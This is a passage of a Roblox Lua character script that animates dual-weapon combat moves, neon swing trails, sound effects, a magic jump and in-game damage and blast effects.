  2787. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2788. end
  2789. Part.Parent=nil
  2790. end),prt,msh)
  2791. end
  2792.  
  2793. TrailDeb = false
  2794.  
  2795. function equipanim()
  2796. attack=true
  2797. Humanoid.WalkSpeed = 0
  2798. if TrailDeb == false then
  2799. TrailDeb = true
  2800. end
  2801.  
  2802.  
  2803. coroutine.wrap(function()
  2804. local Old = handle.CFrame.p
  2805. while wait()do
  2806. if not TrailDeb then break end
  2807. local New = handle.CFrame.p
  2808. local Mag =(Old -New).magnitude
  2809. local Dis =(Old +New)/2
  2810. local Trail = Instance.new("Part",Character)
  2811. Trail.Material = "Neon"
  2812. Trail.Anchored = true
  2813. Trail.CanCollide = false
  2814. Trail.BrickColor = TorsoColor
  2815. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2816. Trail.TopSurface = 0
  2817. Trail.BottomSurface = 0
  2818. Trail.formFactor = "Custom"
  2819. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2820. local ms = Instance.new("BlockMesh",Trail)
  2821. ms.Scale = Vector3.new(1,1,1)
  2822. local TM = Instance.new("CylinderMesh",Trail)
  2823. TM.Scale = Vector3.new(1,1,1)
  2824. Old = New
  2825. coroutine.wrap(function()
  2826. for i = 1,0,-0.1 do
  2827. wait()
  2828. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2829. end
  2830. Trail:remove()
  2831. end)()
  2832. coroutine.wrap(function()
  2833. for i = 1,10 do
  2834. wait()
  2835. Trail.Transparency = Trail.Transparency +0.1
  2836. end end)()end end)()
  2837. coroutine.wrap(function()
  2838. local Old = Handle.CFrame.p
  2839. while wait()do
  2840. if not TrailDeb then break end
  2841. local New = Handle.CFrame.p
  2842. local Mag =(Old -New).magnitude
  2843. local Dis =(Old +New)/2
  2844. local Trail = Instance.new("Part",Character)
  2845. Trail.Material = "Neon"
  2846. Trail.Anchored = true
  2847. Trail.CanCollide = false
  2848. Trail.BrickColor = TorsoColor
  2849. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2850. Trail.TopSurface = 0
  2851. Trail.BottomSurface = 0
  2852. Trail.formFactor = "Custom"
  2853. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2854. local ms = Instance.new("BlockMesh",Trail)
  2855. ms.Scale = Vector3.new(1,1,1)
  2856. local TM = Instance.new("CylinderMesh",Trail)
  2857. TM.Scale = Vector3.new(1,1,1)
  2858. Old = New
  2859. coroutine.wrap(function()
  2860. for i = 1,0,-0.1 do
  2861. wait()
  2862. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2863. end
  2864. Trail:remove()
  2865. end)()
  2866. coroutine.wrap(function()
  2867. for i = 1,10 do
  2868. wait()
  2869. Trail.Transparency = Trail.Transparency +0.1
  2870. end end)()end end)()
  2871. coroutine.wrap(function()
  2872. local Old = Handle2.CFrame.p
  2873. while wait()do
  2874. if not TrailDeb then break end
  2875. local New = Handle2.CFrame.p
  2876. local Mag =(Old -New).magnitude
  2877. local Dis =(Old +New)/2
  2878. local Trail = Instance.new("Part",Character)
  2879. Trail.Material = "Neon"
  2880. Trail.Anchored = true
  2881. Trail.CanCollide = false
  2882. Trail.BrickColor = TorsoColor
  2883. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2884. Trail.TopSurface = 0
  2885. Trail.BottomSurface = 0
  2886. Trail.formFactor = "Custom"
  2887. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2888. local ms = Instance.new("BlockMesh",Trail)
  2889. ms.Scale = Vector3.new(1,1,1)
  2890. local TM = Instance.new("CylinderMesh",Trail)
  2891. TM.Scale = Vector3.new(1,1,1)
  2892. Old = New
  2893. coroutine.wrap(function()
  2894. for i = 1,0,-0.1 do
  2895. wait()
  2896. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2897. end
  2898. Trail:remove()
  2899. end)()
  2900. coroutine.wrap(function()
  2901. for i = 1,10 do
  2902. wait()
  2903. Trail.Transparency = Trail.Transparency +0.1
  2904. end end)()end end)()
  2905. so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5)
  2906. for i=0,1,0.005 do
  2907. swait()
  2908. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2)
  2909. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  2910. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  2911. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  2912. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  2913. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  2914. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  2915. end
  2916. for i=0,1,0.005 do
  2917. swait()
  2918. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2)
  2919. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2)
  2920. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  2921. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  2922. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05)
  2923. LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2)
  2924. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2)
  2925. end
  2926. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  2927. so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9)
  2928. for i=0,1,0.005 do
  2929. swait()
  2930. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1)
  2931. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1)
  2932. handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1)
  2933. Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1)
  2934. Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1)
  2935. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  2936. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  2937. RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1)
  2938. LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1)
  2939. end
  2940. for i=0,1,0.04 do
  2941. swait()
  2942. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  2943. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2944. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2945. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2946. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  2947. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  2948. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  2949. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  2950. end
  2951. --dmgstop()
  2952. attack=false
  2953. Humanoid.WalkSpeed = 12
  2954. if TrailDeb == true then
  2955. TrailDeb = false
  2956. end
  2957. end
  2958.  
  2959. function attackone()
  2960. attack=true
  2961. if TrailDeb == false then
  2962. TrailDeb = true
  2963. end
  2964.  
  2965.  
  2966. coroutine.wrap(function()
  2967. local Old = Handle.CFrame.p
  2968. while wait()do
  2969. if not TrailDeb then break end
  2970. local New = Handle.CFrame.p
  2971. local Mag =(Old -New).magnitude
  2972. local Dis =(Old +New)/2
  2973. local Trail = Instance.new("Part",Character)
  2974. Trail.Material = "Neon"
  2975. Trail.Anchored = true
  2976. Trail.CanCollide = false
  2977. Trail.BrickColor = TorsoColor
  2978. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2979. Trail.TopSurface = 0
  2980. Trail.BottomSurface = 0
  2981. Trail.formFactor = "Custom"
  2982. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2983. local ms = Instance.new("BlockMesh",Trail)
  2984. ms.Scale = Vector3.new(1,1,1)
  2985. local TM = Instance.new("CylinderMesh",Trail)
  2986. TM.Scale = Vector3.new(1,1,1)
  2987. Old = New
  2988. coroutine.wrap(function()
  2989. for i = 1,0,-0.1 do
  2990. wait()
  2991. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2992. end
  2993. Trail:remove()
  2994. end)()
  2995. coroutine.wrap(function()
  2996. for i = 1,10 do
  2997. wait()
  2998. Trail.Transparency = Trail.Transparency +0.1
  2999. end end)()end end)()
  3000. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3001. for i=0,1,0.08 do
  3002. swait()
  3003. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3)
  3004. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3)
  3005. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3006. Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
  3007. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3008. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3)
  3009. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3010. end
  3011. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9)
  3012. so("http://www.roblox.com/asset/?id=159972643",Torso,1,1)
  3013. for i=0,1,0.1 do
  3014. swait()
  3015. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3)
  3016. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3017. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3018. Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2)
  3019. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3020. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3)
  3021. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3022. end
  3023. --dmgstop()
  3024. attack=false
  3025. con1:disconnect()
  3026. if TrailDeb == true then
  3027. TrailDeb = false
  3028. end
  3029. end
  3030.  
  3031. function attacktwo()
  3032. attack=true
  3033. if TrailDeb == false then
  3034. TrailDeb = true
  3035. end
  3036.  
  3037.  
  3038. coroutine.wrap(function()
  3039. local Old = Handle2.CFrame.p
  3040. while wait()do
  3041. if not TrailDeb then break end
  3042. local New = Handle2.CFrame.p
  3043. local Mag =(Old -New).magnitude
  3044. local Dis =(Old +New)/2
  3045. local Trail = Instance.new("Part",Character)
  3046. Trail.Material = "Neon"
  3047. Trail.Anchored = true
  3048. Trail.CanCollide = false
  3049. Trail.BrickColor = TorsoColor
  3050. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3051. Trail.TopSurface = 0
  3052. Trail.BottomSurface = 0
  3053. Trail.formFactor = "Custom"
  3054. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3055. local ms = Instance.new("BlockMesh",Trail)
  3056. ms.Scale = Vector3.new(1,1,1)
  3057. local TM = Instance.new("CylinderMesh",Trail)
  3058. TM.Scale = Vector3.new(1,1,1)
  3059. Old = New
  3060. coroutine.wrap(function()
  3061. for i = 1,0,-0.1 do
  3062. wait()
  3063. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3064. end
  3065. Trail:remove()
  3066. end)()
  3067. coroutine.wrap(function()
  3068. for i = 1,10 do
  3069. wait()
  3070. Trail.Transparency = Trail.Transparency +0.1
  3071. end end)()end end)()
  3072. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3073. for i=0,1,0.08 do
  3074. swait()
  3075. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3076. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3077. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3078. Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2)
  3079. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3080. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  3081. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3082. end
  3083. so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  3084. so("http://www.roblox.com/asset/?id=159972627",Torso,1,1)
  3085. for i=0,1,0.1 do
  3086. swait()
  3087. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3088. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3)
  3089. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3090. Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2)
  3091. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3092. LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  3093. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3)
  3094. end
  3095. --dmgstop()
  3096. attack=false
  3097. con1:disconnect()
  3098. if TrailDeb == true then
  3099. TrailDeb = false
  3100. end
  3101. end
  3102.  
  3103. function attackthree()
  3104. attack=true
  3105. if TrailDeb == false then
  3106. TrailDeb = true
  3107. end
  3108.  
  3109.  
  3110. coroutine.wrap(function()
  3111. local Old = Handle.CFrame.p
  3112. while wait()do
  3113. if not TrailDeb then break end
  3114. local New = Handle.CFrame.p
  3115. local Mag =(Old -New).magnitude
  3116. local Dis =(Old +New)/2
  3117. local Trail = Instance.new("Part",Character)
  3118. Trail.Material = "Neon"
  3119. Trail.Anchored = true
  3120. Trail.CanCollide = false
  3121. Trail.BrickColor = TorsoColor
  3122. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3123. Trail.TopSurface = 0
  3124. Trail.BottomSurface = 0
  3125. Trail.formFactor = "Custom"
  3126. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3127. local ms = Instance.new("BlockMesh",Trail)
  3128. ms.Scale = Vector3.new(1,1,1)
  3129. local TM = Instance.new("CylinderMesh",Trail)
  3130. TM.Scale = Vector3.new(1,1,1)
  3131. Old = New
  3132. coroutine.wrap(function()
  3133. for i = 1,0,-0.1 do
  3134. wait()
  3135. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3136. end
  3137. Trail:remove()
  3138. end)()
  3139. coroutine.wrap(function()
  3140. for i = 1,10 do
  3141. wait()
  3142. Trail.Transparency = Trail.Transparency +0.1
  3143. end end)()end end)()
  3144. con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end)
  3145. for i=0,1,0.08 do
  3146. swait()
  3147. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3)
  3148. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  3149. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3150. Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2)
  3151. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3152. RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3)
  3153. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3154. end
  3155. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  3156. so("http://www.roblox.com/asset/?id=159882477",Torso,1,1)
  3157. for i=0,1,0.05 do
  3158. swait()
  3159. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  3160. Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(0)),.3)
  3161. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3162. Handleweld.C0=clerp(Handleweld.C0,cf(2,4,-3)*angles(math.rad(120),math.rad(0),math.rad(-120)),.2)
  3163. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3164. RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(2,-1.3,0.1),.3)
  3165. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3)
  3166. end
  3167. --dmgstop()
  3168. attack=false
  3169. con1:disconnect()
  3170. if TrailDeb == true then
  3171. TrailDeb = false
  3172. end
  3173. end
  3174.  
  3175. function attackfour()
  3176. attack=true
  3177. if TrailDeb == false then
  3178. TrailDeb = true
  3179. end
  3180.  
  3181.  
  3182. coroutine.wrap(function()
  3183. local Old = Handle2.CFrame.p
  3184. while wait()do
  3185. if not TrailDeb then break end
  3186. local New = Handle2.CFrame.p
  3187. local Mag =(Old -New).magnitude
  3188. local Dis =(Old +New)/2
  3189. local Trail = Instance.new("Part",Character)
  3190. Trail.Material = "Neon"
  3191. Trail.Anchored = true
  3192. Trail.CanCollide = false
  3193. Trail.BrickColor = TorsoColor
  3194. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3195. Trail.TopSurface = 0
  3196. Trail.BottomSurface = 0
  3197. Trail.formFactor = "Custom"
  3198. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3199. local ms = Instance.new("BlockMesh",Trail)
  3200. ms.Scale = Vector3.new(1,1,1)
  3201. local TM = Instance.new("CylinderMesh",Trail)
  3202. TM.Scale = Vector3.new(1,1,1)
  3203. Old = New
  3204. coroutine.wrap(function()
  3205. for i = 1,0,-0.1 do
  3206. wait()
  3207. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3208. end
  3209. Trail:remove()
  3210. end)()
  3211. coroutine.wrap(function()
  3212. for i = 1,10 do
  3213. wait()
  3214. Trail.Transparency = Trail.Transparency +0.1
  3215. end end)()end end)()
  3216. coroutine.wrap(function()
  3217. local Old = Handle.CFrame.p
  3218. while wait()do
  3219. if not TrailDeb then break end
  3220. local New = Handle.CFrame.p
  3221. local Mag =(Old -New).magnitude
  3222. local Dis =(Old +New)/2
  3223. local Trail = Instance.new("Part",Character)
  3224. Trail.Material = "Neon"
  3225. Trail.Anchored = true
  3226. Trail.CanCollide = false
  3227. Trail.BrickColor = TorsoColor
  3228. Trail.Size = Vector3.new(0.2,Mag,0.2)
  3229. Trail.TopSurface = 0
  3230. Trail.BottomSurface = 0
  3231. Trail.formFactor = "Custom"
  3232. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  3233. local ms = Instance.new("BlockMesh",Trail)
  3234. ms.Scale = Vector3.new(1,1,1)
  3235. local TM = Instance.new("CylinderMesh",Trail)
  3236. TM.Scale = Vector3.new(1,1,1)
  3237. Old = New
  3238. coroutine.wrap(function()
  3239. for i = 1,0,-0.1 do
  3240. wait()
  3241. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  3242. end
  3243. Trail:remove()
  3244. end)()
  3245. coroutine.wrap(function()
  3246. for i = 1,10 do
  3247. wait()
  3248. Trail.Transparency = Trail.Transparency +0.1
  3249. end end)()end end)()
  3250. con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3251. con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  3252. for i=0,1,0.08 do
  3253. swait()
  3254. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3)
  3255. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3256. Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3257. Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3258. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3)
  3259. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3)
  3260. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3)
  3261. LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3)
  3262. end
  3263. if anim then
  3264. anim.Disabled=true
  3265. end
  3266. so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.7)
  3267. so("http://www.roblox.com/asset/?id=159882584",Torso,1,1)
  3268. for i=0,1,0.04 do
  3269. swait()
  3270. Torso.Velocity=RootPart.CFrame.lookVector*50
  3271. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,1)*angles(math.rad(-5),math.rad(0),math.rad(0+360*i)),.3)
  3272. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3273. Handleweld.C0=clerp(Handleweld.C0,cf(3,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  3274. Handle2weld.C0=clerp(Handle2weld.C0,cf(-3,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  3275. RW.C0=clerp(RW.C0,cf(1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  3276. LW.C0=clerp(LW.C0,cf(-1.2,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  3277. RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3278. LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(0,-1.57,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  3279. end
  3280. --dmgstop()
  3281. attack=false
  3282. con1:disconnect()
  3283. con2:disconnect()
  3284. if anim then
  3285. anim.Disabled=false
  3286. end
  3287. if TrailDeb == true then
  3288. TrailDeb = false
  3289. end
  3290. end
  3291.  
  3292. function BlastEffect(brickcolor, cframe, x1, y1, z1, x2, y2, z2)
  3293. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3294. prt.Anchored = true
  3295. prt.CFrame = cframe
  3296. local msh = mesh("SpecialMesh", prt, "FileMesh", "http://www.roblox.com/asset/?id=20329976", vt(0, 0, 0), vt(x1, y1, z1))
  3297. coroutine.resume(coroutine.create(function()
  3298. for i = 0, 1, 0.05 do
  3299. wait()
  3300. prt.Transparency = i
  3301. msh.Scale = msh.Scale + vt(x2, y2, z2)
  3302. end
  3303. prt.Parent = nil
  3304. end))
  3305. end
  3306.  
  3307. function MagniDamage(Hit, Part, magni, mindam, maxdam, knock, Type)
  3308. for _, c in pairs(workspace:children()) do
  3309. local hum = c:findFirstChild("Humanoid")
  3310. if hum ~= nil then
  3311. local head = c:findFirstChild("Torso")
  3312. if head ~= nil then
  3313. local targ = head.Position - Part.Position
  3314. local mag = targ.magnitude
  3315. if mag <= magni and c.Name ~= Player.Name then
  3316. Damagefunc(Hit, head, mindam, maxdam, knock, Type, RootPart, .2, 1, 3)
  3317. end
  3318. end
  3319. end
  3320. end
  3321. end
  3322.  
  3323. function MagicCircle(brickcolor, cframe, x1, y1, z1, x3, y3, z3, delay)
  3324. local prt = part(3, workspace, "SmoothPlastic", 0, 0, brickcolor, "Effect", vt(0.5, 0.5, 0.5))
  3325. prt.Anchored = true
  3326. prt.CFrame = cframe
  3327. local msh = mesh("SpecialMesh", prt, "Sphere", "", vt(0, 0, 0), vt(x1, y1, z1))
  3328. game:GetService("Debris"):AddItem(prt, 2)
  3329. coroutine.resume(coroutine.create(function(Part, Mesh)
  3330. for i = 0, 1, delay do
  3331. swait()
  3332. Part.CFrame = Part.CFrame
  3333. Part.Transparency = i
  3334. Mesh.Scale = Mesh.Scale + vt(x3, y3, z3)
  3335. end
  3336. Part.Parent = nil
  3337. end), prt, msh)
  3338. end
  3339.  
  3340. function MagicJump()
  3341. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  3342. attack=true
  3343. mana=mana-25
  3344. --[[ Humanoid.WalkSpeed = 0
  3345. for i=0,1,0.01 do
  3346. swait()
  3347. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1.2)*angles(math.rad(45),math.rad(0),math.rad(45)),.1)
  3348. Neck.C0=clerp(Neck.C0,necko*angles(math.rad(-15),math.rad(15),math.rad(-45)),.1)
  3349. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
  3350. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(60),math.rad(0),math.rad(45)),.1)
  3351. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-15),math.rad(15),math.rad(-30)),.1)
  3352. RH.C0=clerp(RH.C0,cf(0.5,-1.25,0.75)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(15),math.rad(-60),math.rad(-15)),.1)
  3353. LH.C0=clerp(LH.C0,cf(-1,0.1,-0.8)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(40),math.rad(0),math.rad(-30)),.1)
  3354. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(45)),.1)
  3355. Handleweld.C0=clerp(Handleweld.C0,cf(0,0,-6)*angles(math.rad(-15),math.rad(-60),math.rad(45)),.1)
  3356. Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(60),math.rad(45)),.1)
  3357. end]]--
  3358. Humanoid.Jump = true
  3359. Torso.Velocity = vt(0, 150, 0)
  3360. Humanoid.WalkSpeed = 64
  3361. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3362. so("http://www.roblox.com/asset/?id=199145497",Torso,1,0.8)
  3363. for i=0,1,0.05 do
  3364. swait()
  3365. Neck.C0=clerp(Neck.C0,necko*euler(0.5,0,0),.3)
  3366. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
